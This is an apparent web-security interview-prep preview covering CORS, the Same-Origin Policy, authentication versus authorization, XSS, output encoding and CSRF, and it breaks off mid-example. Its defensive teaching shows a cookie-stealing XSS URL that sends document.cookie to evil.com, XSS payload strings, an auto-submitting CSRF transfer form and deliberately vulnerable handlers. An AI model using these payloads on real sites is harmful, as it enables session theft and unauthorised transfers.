FREE PREVIEW

You're viewing a free preview

This is a sample of 15 questions from our full collection of 35 interview questions.

Unlock all 35 questions with detailed explanations and code examples

Get Full Access

Web Security Fundamentals

What is CORS and how does it work?

The 30-Second Answer: CORS (Cross-Origin Resource Sharing) is a mechanism that allows servers to specify which origins can access their resources, relaxing the Same-Origin Policy in a controlled way. It works through HTTP headers - the server includes Access-Control-Allow-Origin and related headers in responses, and the browser enforces these permissions before allowing JavaScript to read the response.

The 2-Minute Answer (If They Want More): CORS enables legitimate cross-origin requests while maintaining security. When your frontend at https://myapp.com needs to call an API at https://api.example.com, CORS makes this possible through a header-based handshake between the browser and server.

There are two types of CORS requests: simple requests and preflighted requests. Simple requests (GET, HEAD, POST with standard content types and headers) are sent immediately, with the browser checking the response headers to determine if the script can access the response. Preflighted requests (PUT, DELETE, custom headers, or certain content types) trigger a preflight OPTIONS request first - the browser asks the server what's allowed before sending the actual request.

The key CORS headers are: Access-Control-Allow-Origin (specifies allowed origins, or * for public APIs), Access-Control-Allow-Methods (permitted HTTP methods), Access-Control-Allow-Headers (allowed custom headers), Access-Control-Allow-Credentials (whether cookies/auth can be included), and Access-Control-Max-Age (how long to cache preflight responses).

Common mistakes include using Access-Control-Allow-Origin: * with credentials (not allowed), not handling preflight requests properly on the server, and overly permissive CORS policies that essentially disable SOP protections. A secure CORS implementation validates the Origin header against a whitelist and only returns that specific origin in the response, never blindly echoing the request origin.

Code Example:

// CLIENT SIDE - Making CORS requests

// Simple CORS request (no preflight)
fetch('https://api.example.com/data', {
  method: 'GET',
  headers: {
    'Content-Type': 'application/json'
  }
})
.then(response => response.json())
.then(data => console.log(data));

// Preflighted CORS request (triggers OPTIONS preflight)
fetch('https://api.example.com/data', {
  method: 'PUT',
  headers: {
    'Content-Type': 'application/json',
    'X-Custom-Header': 'value'
  },
  credentials: 'include', // Include cookies
  body: JSON.stringify({ key: 'value' })
});

// SERVER SIDE - Express.js CORS implementation

// ❌ INSECURE - Wildcard with credentials not allowed
app.use((req, res, next) => {
  res.header('Access-Control-Allow-Origin', '*');
  res.header('Access-Control-Allow-Credentials', 'true'); // Error!
  next();
});

// ✅ SECURE - Whitelist specific origins
const allowedOrigins = [
  'https://myapp.com',
  'https://staging.myapp.com'
];

app.use((req, res, next) => {
  const origin = req.headers.origin;

  if (allowedOrigins.includes(origin)) {
    res.header('Access-Control-Allow-Origin', origin);
    res.header('Access-Control-Allow-Credentials', 'true');
  }

  next();
});

// Handle preflight requests
app.options('*', (req, res) => {
  const origin = req.headers.origin;

  if (allowedOrigins.includes(origin)) {
    res.header('Access-Control-Allow-Origin', origin);
    res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');
    res.header('Access-Control-Allow-Headers', 'Content-Type, X-Custom-Header, Authorization');
    res.header('Access-Control-Allow-Credentials', 'true');
    res.header('Access-Control-Max-Age', '86400'); // Cache for 24 hours
    res.sendStatus(204);
  } else {
    res.sendStatus(403);
  }
});

// Using cors middleware (recommended)
const cors = require('cors');

const corsOptions = {
  origin: function (origin, callback) {
    if (!origin || allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  credentials: true,
  optionsSuccessStatus: 204
};

app.use(cors(corsOptions));

Mermaid Diagram:

sequenceDiagram
    participant Browser
    participant Server

    Note over Browser,Server: SIMPLE REQUEST (GET/POST basic)
    Browser->>Server: GET /data<br/>Origin: https://myapp.com
    Server->>Browser: 200 OK<br/>Access-Control-Allow-Origin: https://myapp.com<br/>Data: {...}
    Browser->>Browser: ✅ Origin matches, allow access

    Note over Browser,Server: PREFLIGHTED REQUEST (PUT/DELETE/Custom Headers)
    Browser->>Server: OPTIONS /data<br/>Origin: https://myapp.com<br/>Access-Control-Request-Method: PUT<br/>Access-Control-Request-Headers: X-Custom
    Server->>Browser: 204 No Content<br/>Access-Control-Allow-Origin: https://myapp.com<br/>Access-Control-Allow-Methods: PUT<br/>Access-Control-Allow-Headers: X-Custom
    Browser->>Browser: ✅ Preflight approved
    Browser->>Server: PUT /data<br/>Origin: https://myapp.com<br/>X-Custom: value
    Server->>Browser: 200 OK<br/>Access-Control-Allow-Origin: https://myapp.com

References:

↑ Back to top

What is the difference between authentication and authorization?

The 30-Second Answer: Authentication is verifying who you are (proving your identity, like logging in with username/password), while authorization is determining what you're allowed to do (checking permissions, like whether you can delete a file). Authentication always comes first - you can't determine someone's permissions until you know who they are.

The 2-Minute Answer (If They Want More): Authentication and authorization are distinct but complementary security concepts that work together to protect resources. Authentication answers "Are you really who you claim to be?" through credentials like passwords, biometrics, security tokens, or multi-factor authentication. Once authenticated, the system knows your identity but hasn't decided what you can access.

Authorization then answers "What are you allowed to access or do?" based on your verified identity. It involves checking roles, permissions, or access control lists (ACLs) to enforce business rules. For example, after logging in (authentication), a user might be authorized to view documents but not delete them, while an admin has full permissions.

In modern web applications, authentication typically uses mechanisms like session cookies, JWT tokens, OAuth 2.0, or SAML. Authorization is enforced through role-based access control (RBAC), attribute-based access control (ABAC), or permission-based systems. A common mistake is confusing the two or implementing only one - authenticating a user doesn't mean they should access everything, and you can't authorize someone whose identity you haven't verified.

The principle of least privilege is key: after authentication, grant users only the minimum authorization needed for their tasks. This limits damage if an account is compromised. Additionally, both should be checked on the server side - never rely solely on client-side authorization checks, as these can be bypassed by manipulating the frontend code or API requests.

Code Example:

// EXPRESS.JS - Authentication and Authorization

const express = require('express');
const jwt = require('jsonwebtoken');
const app = express();

// AUTHENTICATION MIDDLEWARE - Who are you?
function authenticate(req, res, next) {
  const token = req.headers.authorization?.split(' ')[1]; // Bearer <token>

  if (!token) {
    return res.status(401).json({ error: 'Authentication required' });
  }

  try {
    // Verify and decode the JWT token
    const decoded = jwt.verify(token, process.env.JWT_SECRET);
    req.user = decoded; // { id: 123, username: 'john', role: 'editor' }
    next(); // User authenticated, proceed to next middleware
  } catch (error) {
    return res.status(401).json({ error: 'Invalid token' });
  }
}

// AUTHORIZATION MIDDLEWARE - What can you do?
function authorize(...allowedRoles) {
  return (req, res, next) => {
    // User must be authenticated first
    if (!req.user) {
      return res.status(401).json({ error: 'Authentication required' });
    }

    // Check if user's role is in allowed roles
    if (!allowedRoles.includes(req.user.role)) {
      return res.status(403).json({
        error: 'Forbidden - Insufficient permissions',
        required: allowedRoles,
        current: req.user.role
      });
    }

    next(); // User authorized, proceed
  };
}

// Resource-based authorization
function authorizeResource(req, res, next) {
  const documentId = req.params.id;
  const document = getDocumentById(documentId); // Hypothetical function

  // User must own the document OR be an admin
  if (document.ownerId !== req.user.id && req.user.role !== 'admin') {
    return res.status(403).json({
      error: 'Forbidden - You can only modify your own documents'
    });
  }

  next();
}

// ROUTES - Applying both authentication and authorization

// Public route - No authentication or authorization needed
app.get('/api/public', (req, res) => {
  res.json({ message: 'Public data' });
});

// Protected route - Authentication required
app.get('/api/profile', authenticate, (req, res) => {
  res.json({
    message: `Welcome ${req.user.username}`,
    user: req.user
  });
});

// Role-based route - Authentication + Authorization
app.get('/api/admin/users',
  authenticate,                    // First: verify who you are
  authorize('admin'),              // Then: check if you're an admin
  (req, res) => {
    res.json({ users: getAllUsers() });
  }
);

// Multiple roles allowed
app.post('/api/posts',
  authenticate,
  authorize('admin', 'editor', 'author'), // Any of these roles can create posts
  (req, res) => {
    res.json({ message: 'Post created' });
  }
);

// Resource-based authorization
app.put('/api/documents/:id',
  authenticate,              // Who are you?
  authorizeResource,         // Can you modify THIS specific document?
  (req, res) => {
    res.json({ message: 'Document updated' });
  }
);

// LOGIN ENDPOINT - Creates authentication token
app.post('/api/login', (req, res) => {
  const { username, password } = req.body;

  // Verify credentials (authentication)
  const user = verifyCredentials(username, password); // Hypothetical function

  if (!user) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }

  // Create JWT token with user info and role
  const token = jwt.sign(
    { id: user.id, username: user.username, role: user.role },
    process.env.JWT_SECRET,
    { expiresIn: '24h' }
  );

  res.json({ token, user: { id: user.id, username: user.username, role: user.role } });
});

Mermaid Diagram:

flowchart TD
    A[User Request] --> B{Authenticated?}
    B -->|No| C[❌ 401 Unauthorized<br/>Who are you?]
    B -->|Yes - Token Valid| D{Authorized?}
    D -->|No| E[❌ 403 Forbidden<br/>You can't do that]
    D -->|Yes - Has Permission| F[✅ 200 OK<br/>Access Granted]

    style B fill:#fff4e6
    style D fill:#e6f3ff
    style C fill:#ffe6e6
    style E fill:#ffe6e6
    style F fill:#e6ffe6

    note1[Authentication:<br/>Verify Identity]
    note2[Authorization:<br/>Check Permissions]
    note1 -.-> B
    note2 -.-> D

References:

↑ Back to top

What is the Same-Origin Policy and why is it important?

The 30-Second Answer: The Same-Origin Policy (SOP) is a critical browser security mechanism that restricts how documents or scripts from one origin can interact with resources from another origin. An origin is defined by the protocol, domain, and port - all three must match for two URLs to be considered same-origin. This prevents malicious scripts on one site from accessing sensitive data on another site through the user's browser.

The 2-Minute Answer (If They Want More): The Same-Origin Policy is the cornerstone of web security, preventing a wide range of attacks. Without SOP, a malicious website could load your banking site in an iframe and read your account balance, transactions, or even make transfers on your behalf using your authenticated session.

SOP restricts three main types of cross-origin interactions: reading responses from cross-origin requests (though sending is allowed), accessing the DOM of cross-origin documents, and reading or writing certain browser storage like cookies, localStorage, and indexedDB across origins. For example, if you're on https://evil.com, JavaScript cannot read the content of an iframe pointing to https://bank.com, nor can it access cookies set by https://bank.com.

There are controlled exceptions to SOP for legitimate use cases. Resources like images, scripts, and stylesheets can be embedded cross-origin (though not read), and CORS (Cross-Origin Resource Sharing) allows servers to explicitly permit certain cross-origin requests. Additionally, window.postMessage() provides a safe way for windows from different origins to communicate in a controlled manner.

Understanding SOP is crucial because many web vulnerabilities arise from either bypassing it or misconfiguring the exceptions. Common pitfalls include overly permissive CORS policies, subdomain takeover attacks that exploit SOP's domain matching, and confusion about what SOP actually protects (it prevents reading, not sending, so CSRF attacks are still possible).

Code Example:

// Same-Origin Policy in action

// Current page: https://example.com:443/page.html

// ✅ SAME ORIGIN - All allowed
// https://example.com:443/other.html
// https://example.com:443/api/data

// ❌ DIFFERENT ORIGIN - Blocked by SOP
// http://example.com:443/page.html    // Different protocol (http vs https)
// https://example.com:8080/page.html  // Different port (8080 vs 443)
// https://sub.example.com:443/page.html // Different domain (subdomain)
// https://other.com:443/page.html     // Different domain

// Example: Trying to fetch cross-origin without CORS
fetch('https://api.other-domain.com/data')
  .then(response => response.json())
  .catch(error => {
    // Error: CORS policy: No 'Access-Control-Allow-Origin' header
    console.error('Blocked by Same-Origin Policy', error);
  });

// Example: postMessage allows controlled cross-origin communication
// Parent window (https://example.com)
const iframe = document.getElementById('myIframe');
iframe.contentWindow.postMessage('Hello from parent', 'https://trusted-domain.com');

// Child iframe (https://trusted-domain.com)
window.addEventListener('message', (event) => {
  // Always verify the origin!
  if (event.origin !== 'https://example.com') {
    return; // Reject messages from unexpected origins
  }
  console.log('Received:', event.data);
});

Mermaid Diagram:

flowchart TD
    A[Browser at https://example.com] --> B{Request to different origin?}
    B -->|Same Protocol + Domain + Port| C[✅ Allowed - Same Origin]
    B -->|Different Protocol/Domain/Port| D{What type of request?}
    D -->|Embed: img, script, css| E[✅ Allowed to load, cannot read]
    D -->|AJAX/Fetch| F{CORS headers present?}
    F -->|Yes + Allow-Origin matches| G[✅ Allowed]
    F -->|No or doesn't match| H[❌ Blocked by SOP]
    D -->|DOM access cross-origin iframe| I[❌ Blocked by SOP]
    D -->|postMessage| J[✅ Allowed with origin validation]

References:

↑ Back to top

Cross-Site Scripting (XSS)

What is the difference between stored, reflected, and DOM-based XSS?

The 30-Second Answer: Stored XSS saves malicious code in the database and affects all users who view it; Reflected XSS immediately returns malicious code in the response and requires tricking a user into clicking a crafted link; DOM-based XSS executes entirely in the browser through unsafe JavaScript DOM manipulation without server involvement.

The 2-Minute Answer (If They Want More):

Stored XSS is persistent and has the widest impact. The malicious payload is stored server-side (database, file system, cache) and automatically served to any user accessing the infected resource. Common attack vectors include comment sections, user profiles, forum posts, and product reviews. For example, an attacker might submit a comment containing <script>steal_cookies()</script>, which gets saved to the database. Every subsequent visitor to that page executes the malicious script without any additional action required.

Reflected XSS is non-persistent and requires social engineering. The payload is embedded in a URL or form submission, sent to the server, and immediately reflected back in the HTTP response. The key difference is that the malicious code never gets stored—it only affects users who click the specific malicious link. A typical scenario: an attacker sends a phishing email with a link like example.com/search?q=<script>steal_session()</script>, and when the victim clicks it, the search page reflects the query parameter unsafely, executing the script.

DOM-based XSS is unique because the vulnerability and exploitation occur entirely in the client-side code—the HTTP response never changes. The attack manipulates the browser's Document Object Model through unsafe JavaScript. For instance, code like document.getElementById('content').innerHTML = location.hash is vulnerable because an attacker can craft a URL with #<img src=x onerror=alert(1)>, which gets written directly into the DOM. This type is particularly insidious because traditional server-side security measures like WAFs and input filters can't detect it since the payload never reaches the server.

Code Example:

// STORED XSS - Vulnerable Code
// Server saves user input to database without sanitization
app.post('/comment', (req, res) => {
  const comment = req.body.comment; // <script>alert('XSS')</script>
  db.saveComment(comment); // Stored as-is
  res.redirect('/comments');
});

// REFLECTED XSS - Vulnerable Code
// Server immediately returns user input in response
app.get('/search', (req, res) => {
  const query = req.query.q;
  res.send(`<h1>Results for: ${query}</h1>`); // Unsafe interpolation
});

// DOM-BASED XSS - Vulnerable Code
// Client-side code unsafely manipulates DOM
function displayUserContent() {
  // Reading from URL hash/query parameters
  const userInput = location.hash.substring(1);
  // Unsafe: directly writing to innerHTML
  document.getElementById('content').innerHTML = userInput;
}

// SAFE ALTERNATIVES
// Stored/Reflected: Use output encoding
const escapeHtml = (str) => {
  return str.replace(/[&<>"']/g, (char) => ({
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#39;'
  }[char]));
};

// DOM-based: Use textContent instead of innerHTML
document.getElementById('content').textContent = userInput;
// Or use DOMPurify for HTML content
document.getElementById('content').innerHTML = DOMPurify.sanitize(userInput);

References:

↑ Back to top

What is Cross-Site Scripting (XSS) and what are its types?

The 30-Second Answer: Cross-Site Scripting (XSS) is a security vulnerability where attackers inject malicious JavaScript into web applications that then executes in other users' browsers. The three main types are Stored XSS (malicious code saved in the database), Reflected XSS (malicious code passed through URL parameters), and DOM-based XSS (client-side code manipulates the DOM unsafely).

The 2-Minute Answer (If They Want More):

XSS attacks exploit the trust a user has for a particular website by executing unauthorized scripts in their browser context. This gives attackers access to cookies, session tokens, sensitive data visible on the page, and the ability to perform actions on behalf of the victim user.

Stored XSS (Persistent XSS) is the most dangerous type because the malicious script is permanently stored on the target server—typically in a database, comment field, or forum post. Every user who views the infected content executes the malicious code, making it a "worm-like" attack that affects multiple victims automatically.

Reflected XSS (Non-Persistent XSS) occurs when malicious scripts are immediately returned by a web application in an error message, search result, or response that includes user input sent to the server. Attackers typically deliver these through phishing emails or malicious links that trick users into clicking URLs with embedded scripts.

DOM-based XSS is entirely client-side—the vulnerability exists in the client-side code rather than server-side code. The attack payload is executed as a result of modifying the DOM environment in the victim's browser, using JavaScript frameworks or APIs that unsafely handle user-controllable data. This type never touches the server, making it invisible to server-side security measures.

Mermaid Diagram:

flowchart TD
    A[XSS Attack Types] --> B[Stored XSS]
    A --> C[Reflected XSS]
    A --> D[DOM-based XSS]

    B --> B1[Attacker stores malicious script in DB]
    B1 --> B2[Victim requests page]
    B2 --> B3[Server returns stored script]
    B3 --> B4[Script executes in victim's browser]

    C --> C1[Attacker crafts malicious URL]
    C1 --> C2[Victim clicks link]
    C2 --> C3[Server reflects input in response]
    C3 --> C4[Script executes immediately]

    D --> D1[Vulnerable client-side code]
    D1 --> D2[User input modifies DOM]
    D2 --> D3[Script executes client-side only]

References:

↑ Back to top

What is output encoding and how does it prevent XSS?

The 30-Second Answer: Output encoding converts special characters into their safe equivalents before rendering data in a web page, preventing browsers from interpreting user input as executable code. For example, < becomes &lt; in HTML context, so <script> renders as text rather than executing as JavaScript.

The 2-Minute Answer (If They Want More):

Output encoding (also called output escaping) is the process of transforming potentially dangerous characters into their safe representations based on the context where data will be rendered. The browser interprets encoded characters as data rather than markup or code, neutralizing XSS attempts. This is considered the primary defense against XSS because it's applied at the point where data meets code—the output boundary.

The crucial aspect of output encoding is context-awareness. HTML context requires HTML entity encoding where characters like <, >, &, ", and ' become &lt;, &gt;, &amp;, &quot;, and &#39;. JavaScript context requires different encoding that escapes backslashes, quotes, and control characters. URL context needs percent-encoding where special characters become % sequences. CSS context has its own encoding requirements. Using the wrong encoding type for a context can leave you vulnerable despite encoding.

Modern frameworks handle HTML context encoding automatically through their templating systems. React's JSX, Vue's templates, and Angular's interpolation all encode output by default when you use their standard data binding syntax. However, developers can bypass these protections through "unsafe" APIs like dangerouslySetInnerHTML, v-html, or by manipulating the DOM directly. Additionally, these frameworks typically only protect HTML context—if you're interpolating data into JavaScript, CSS, or URLs, you need additional encoding.

The key principle: encode late, encode at the output boundary. Don't encode data when it enters your system (input) because you might store it in multiple places with different encoding requirements. Instead, store data in its raw form and encode it specifically for each output context. This prevents double-encoding issues and maintains data integrity while ensuring security at every output point.

Code Example:

// ============================================
// CONTEXT-AWARE OUTPUT ENCODING
// ============================================

// 1. HTML CONTEXT ENCODING
function encodeForHTML(str) {
  const htmlEntities = {
    '&': '&amp;',   // Must be first to avoid double-encoding
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',  // &apos; not recommended (not in HTML4)
    '/': '&#x2F;'   // Prevents </script> injection
  };
  return str.replace(/[&<>"'/]/g, char => htmlEntities[char]);
}

const userComment = '<script>alert("XSS")</script>';
const safe = encodeForHTML(userComment);
console.log(safe);
// Output: &lt;script&gt;alert(&quot;XSS&quot;)&lt;&#x2F;script&gt;
// Browser displays: <script>alert("XSS")</script> as text

// 2. JAVASCRIPT CONTEXT ENCODING
function encodeForJavaScript(str) {
  return str
    .replace(/\\/g, '\\\\')     // Backslash
    .replace(/'/g, "\\'")       // Single quote
    .replace(/"/g, '\\"')       // Double quote
    .replace(/\n/g, '\\n')      // Newline
    .replace(/\r/g, '\\r')      // Carriage return
    .replace(/\t/g, '\\t')      // Tab
    .replace(/\b/g, '\\b')      // Backspace
    .replace(/\f/g, '\\f')      // Form feed
    .replace(/</g, '\\x3C')     // Prevent </script> in strings
    .replace(/>/g, '\\x3E')     // Prevent <script> in strings
    .replace(/\u2028/g, '\\u2028') // Line separator
    .replace(/\u2029/g, '\\u2029'); // Paragraph separator
}

// UNSAFE: User input in JavaScript context
const username = '"; alert("XSS"); var x="';
// <script>var name = "${username}";</script>
// Results in: var name = ""; alert("XSS"); var x="";

// SAFE: Properly encoded
const safeUsername = encodeForJavaScript(username);
// <script>var name = "${safeUsername}";</script>
// Results in: var name = "\"; alert(\"XSS\"); var x=\"";

// 3. URL CONTEXT ENCODING
function encodeForURL(str) {
  return encodeURIComponent(str);
}

const searchQuery = 'term&page=<script>alert(1)</script>';
const safeURL = `https://example.com/search?q=${encodeForURL(searchQuery)}`;
// Result: https://example.com/search?q=term%26page%3D%3Cscript%3Ealert(1)%3C%2Fscript%3E

// 4. CSS CONTEXT ENCODING
function encodeForCSS(str) {
  return str.replace(/[^a-zA-Z0-9]/g, char => {
    const hex = char.charCodeAt(0).toString(16);
    return '\\' + ('000000' + hex).slice(-6);
  });
}

// UNSAFE: User input in CSS
const color = 'red; } body { background: url(javascript:alert(1)) }';
// <style>div { color: ${color}; }</style>

// SAFE: Encoded for CSS
const safeColor = encodeForCSS(color);
// <style>div { color: ${safeColor}; }</style>

// ============================================
// FRAMEWORK EXAMPLES - AUTO-ENCODING
// ============================================

// React - Automatic HTML encoding in JSX
function UserComment({ text }) {
  // ✅ SAFE: JSX auto-encodes
  return <div>{text}</div>;
  // Even if text = '<script>alert(1)</script>'
  // Renders as escaped text, not executable code

  // ❌ UNSAFE: Bypass with dangerouslySetInnerHTML
  // return <div dangerouslySetInnerHTML={{ __html: text }} />;
}

// Vue - Automatic encoding with mustache syntax
// ✅ SAFE:
// <template>
//   <div>{{ userInput }}</div>
// </template>

// ❌ UNSAFE:
// <template>
//   <div v-html="userInput"></div>
// </template>

// Angular - Automatic encoding with interpolation
// ✅ SAFE:
// <div>{{ userInput }}</div>

// ❌ UNSAFE:
// <div [innerHTML]="userInput"></div>

// ============================================
// SERVER-SIDE RENDERING EXAMPLES
// ============================================

// Node.js/Express - Using template engine safely
import he from 'he'; // HTML entity encoder library

app.get('/user/:id', async (req, res) => {
  const user = await db.getUser(req.params.id);

  // Manual encoding
  const safeUsername = he.encode(user.username);

  res.send(`
    <html>
      <body>
        <h1>Welcome, ${safeUsername}</h1>
        <script>
          var username = "${encodeForJavaScript(user.username)}";
        </script>
      </body>
    </html>
  `);
});

// Better: Use template engines with auto-escaping
// EJS with <%= %> auto-escapes
// <h1>Welcome, <%= username %></h1>

// Handlebars with {{ }} auto-escapes
// <h1>Welcome, {{ username }}</h1>

// Pug (Jade) auto-escapes by default
// h1 Welcome, #{username}

// ============================================
// DEFENSE-IN-DEPTH EXAMPLE
// ============================================

function renderUserContent(rawContent) {
  // Layer 1: Validate input format
  if (typeof rawContent !== 'string' || rawContent.length > 10000) {
    throw new Error('Invalid content');
  }

  // Layer 2: Sanitize HTML if accepting rich content
  import DOMPurify from 'dompurify';
  const sanitized = DOMPurify.sanitize(rawContent);

  // Layer 3: Encode for output context
  const encoded = encodeForHTML(sanitized);

  // Layer 4: Use safe DOM APIs
  const element = document.createElement('div');
  element.textContent = encoded; // Or innerHTML with fully sanitized content

  return element;
}

Mermaid Diagram:

flowchart TD
    A[User Input: script alert 1 /script] --> B{Output Context?}

    B -->|HTML Body| C[HTML Entity Encoding]
    B -->|JavaScript String| D[JavaScript Encoding]
    B -->|URL Parameter| E[URL Encoding]
    B -->|CSS Value| F[CSS Encoding]

    C --> C1["&lt;script&gt;alert 1 &lt;/script&gt;"]
    C1 --> C2[Browser displays as text ✅]

    D --> D1["\\x3Cscript\\x3Ealert 1 \\x3C/script\\x3E"]
    D1 --> D2[Treated as string literal ✅]

    E --> E1["%3Cscript%3Ealert(1)%3C/script%3E"]
    E1 --> E2[Treated as URL data ✅]

    F --> F1["\\00003c script\\00003e ..."]
    F1 --> F2[Treated as CSS value ✅]

    style C2 fill:#90EE90
    style D2 fill:#90EE90
    style E2 fill:#90EE90
    style F2 fill:#90EE90

References:

↑ Back to top

Cross-Site Request Forgery (CSRF)

What is the difference between CSRF and XSS?

The 30-Second Answer: XSS (Cross-Site Scripting) injects malicious code into a trusted website that executes in victims' browsers, allowing attackers to steal data or impersonate users. CSRF tricks users' browsers into performing unwanted actions on sites where they're authenticated, but doesn't involve code injection. XSS exploits trust in content; CSRF exploits trust in users.

The 2-Minute Answer (If They Want More): CSRF and XSS are fundamentally different attack vectors with different goals, mechanisms, and defenses. Understanding the distinction is crucial for implementing proper security measures.

XSS occurs when an attacker can inject malicious JavaScript into a website's pages, which then executes in other users' browsers. The injected script runs in the context of the trusted site, giving it full access to the DOM, cookies (without HttpOnly), and the ability to make requests as the user. XSS can steal session tokens, capture keystrokes, or modify page content. The vulnerability lies in improper output encoding or sanitization of user-supplied data.

CSRF doesn't involve code injection at all. Instead, it exploits the browser's automatic inclusion of cookies with requests. The attacker tricks the victim into making a request to a vulnerable site (often through social engineering or by embedding malicious forms on third-party sites). The attacker never sees the response and cannot execute code on the target site, but can trigger state-changing actions like transfers, password changes, or purchases.

Interestingly, XSS can bypass CSRF protections because injected scripts can read CSRF tokens from the page and include them in forged requests. This is why XSS is often considered more severe. However, CSRF can sometimes be exploited even when XSS is not possible, making both important to address.

The defenses differ significantly: XSS requires proper input validation, output encoding, and Content Security Policy, while CSRF requires anti-CSRF tokens, SameSite cookies, and validating the origin of requests.

Code Example:

// XSS EXAMPLE: Attacker injects malicious script
// Vulnerable code (backend)
app.get('/search', (req, res) => {
  const query = req.query.q;
  // VULNERABLE: Directly embedding user input
  res.send(`<h1>Results for: ${query}</h1>`);
});

// Attacker sends victim: https://site.com/search?q=<script>fetch('https://evil.com?cookie='+document.cookie)</script>
// The script executes and steals the victim's cookies

// FIXED: Proper escaping
const escapeHtml = (str) => str.replace(/[&<>"']/g, (char) => ({
  '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#x27;'
})[char]);

app.get('/search', (req, res) => {
  const query = escapeHtml(req.query.q);
  res.send(`<h1>Results for: ${query}</h1>`);
});

// ===================================

// CSRF EXAMPLE: Attacker tricks user into making request
// Vulnerable endpoint (backend)
app.post('/transfer', (req, res) => {
  // VULNERABLE: No CSRF protection
  const { to, amount } = req.body;
  transferMoney(req.session.userId, to, amount);
  res.send('Transfer complete');
});

// Malicious site contains:
/*
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="1000">
</form>
<script>document.forms[0].submit();</script>
*/

// FIXED: CSRF token validation
app.post('/transfer', csrfProtection, (req, res) => {
  const { to, amount } = req.body;
  transferMoney(req.session.userId, to, amount);
  res.send('Transfer complete');
});

Mermaid Diagram:

graph TB
    subgraph XSS["XSS (Cross-Site Scripting)"]
        XSS1[Attacker injects<br/>malicious script] --> XSS2[Victim views page]
        XSS2 --> XSS3[Script executes in<br/>victim's browser]
        XSS3 --> XSS4[Can steal data,<br/>modify page, etc.]
    end

    subgraph CSRF["CSRF (Cross-Site Request Forgery)"]
        CSRF1[Attacker tricks victim<br/>into making request] --> CSRF2[Victim's browser sends<br/>authenticated request]
        CSRF2 --> CSRF3[Server processes<br/>as legitimate]
        CSRF3 --> CSRF4[Action performed<br/>without consent]
    end

    subgraph Defenses
        D1[XSS Defense:<br/>Encode output, CSP,<br/>Input validation]
        D2[CSRF Defense:<br/>Anti-CSRF tokens,<br/>SameSite cookies]
    end

    XSS --> D1
    CSRF --> D2

    style XSS1 fill:#ffcccc
    style CSRF1 fill:#ffcccc
    style D1 fill:#ccffcc
    style D2 fill:#ccffcc

References:

↑ Back to top

What is Cross-Site Request Forgery (CSRF)?

The 30-Second Answer: CSRF is an attack where a malicious website tricks a user's browser into performing unwanted actions on a trusted site where they're authenticated. The attack exploits the fact that browsers automatically send cookies with requests, allowing attackers to forge requests on behalf of the victim without their knowledge.

The 2-Minute Answer (If They Want More): Cross-Site Request Forgery (CSRF) is a security vulnerability that allows an attacker to induce users to perform actions they didn't intend to perform. The attack works because web browsers automatically include authentication credentials (like session cookies) with every request to a domain, regardless of where the request originated.

For example, if you're logged into your bank at bank.com, and you visit a malicious website, that website could contain hidden forms or JavaScript that sends money transfer requests to bank.com. Your browser would automatically include your authentication cookies with these requests, making them appear legitimate to the bank's server.

CSRF attacks typically target state-changing operations like transferring funds, changing email addresses, or modifying account settings. They don't directly steal data because the attacker can't read the response from the forged request due to same-origin policy, but they can trigger actions that benefit the attacker.

The attack is particularly dangerous because it doesn't require any special access or vulnerabilities in the target application beyond the lack of CSRF protection. It exploits the implicit trust that a website has in the user's browser.

Code Example:

<!-- Malicious website contains this hidden form -->
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
  <input type="hidden" name="amount" value="10000">
  <input type="hidden" name="to_account" value="attacker123">
</form>

<script>
  // Automatically submits the form when victim visits the page
  document.getElementById('csrf-form').submit();
</script>

<!-- The victim's browser automatically sends their bank.com cookies
     with this request, making it appear legitimate -->

Mermaid Diagram:

sequenceDiagram
    participant User as Victim's Browser
    participant Bank as bank.com
    participant Evil as malicious.com

    User->>Bank: 1. Login (normal)
    Bank->>User: Set session cookie

    User->>Evil: 2. Visit malicious site
    Evil->>User: Return page with hidden form

    User->>Bank: 3. Auto-submit forged request<br/>(with session cookie)
    Bank->>Bank: Process request<br/>(thinks it's legitimate)
    Bank->>User: Transfer complete

    Note over User,Bank: Victim's money transferred<br/>without their knowledge

References:

↑ Back to top

What is the SameSite cookie attribute and how does it prevent CSRF?

The 30-Second Answer: The SameSite cookie attribute controls whether cookies are sent with cross-site requests. Setting SameSite=Strict prevents cookies from being sent on any cross-site request, while SameSite=Lax allows them only on safe top-level navigations (like clicking a link), effectively blocking most CSRF attacks without requiring tokens.

The 2-Minute Answer (If They Want More): The SameSite attribute is a browser security feature that gives you control over when cookies are sent with requests originating from other sites. It has three possible values: Strict, Lax, and None. This attribute provides a modern, straightforward defense against CSRF attacks.

With SameSite=Strict, cookies are never sent on cross-site requests. If a user clicks a link from Google to your site, they'll arrive in an unauthenticated state even if they have a valid session cookie. This provides maximum CSRF protection but can impact user experience.

SameSite=Lax is a more balanced approach and became the default in modern browsers. It sends cookies on top-level navigations (like clicking links or typing URLs) but not on cross-site subrequests (images, iframes, AJAX). This means if an attacker embeds a hidden form on their site, the session cookie won't be sent. However, it still allows a slightly weaker attack vector through GET requests, which is why state-changing operations should never use GET.

SameSite=None allows cookies on all cross-site requests but requires the Secure attribute, meaning the cookie is only sent over HTTPS. This is necessary for legitimate cross-site scenarios like OAuth flows or embedded widgets.

While SameSite provides excellent CSRF protection, it's considered defense-in-depth rather than a complete replacement for CSRF tokens, especially since older browsers may not support it. Using both SameSite cookies and CSRF tokens provides the strongest protection.

Code Example:

// Backend: Setting SameSite attribute (Express.js)
const express = require('express');
const session = require('express-session');

const app = express();

// Configure session with SameSite cookie
app.use(session({
  secret: 'your-secret-key',
  cookie: {
    httpOnly: true,      // Prevents JavaScript access
    secure: true,        // Only send over HTTPS
    sameSite: 'lax',     // CSRF protection
    maxAge: 24 * 60 * 60 * 1000  // 24 hours
  }
}));

// Set custom cookie with SameSite
app.get('/login', (req, res) => {
  res.cookie('session_id', 'abc123', {
    httpOnly: true,
    secure: true,
    sameSite: 'strict'  // Maximum CSRF protection
  });
  res.send('Logged in');
});

// Different SameSite values for different use cases
app.get('/embed-widget', (req, res) => {
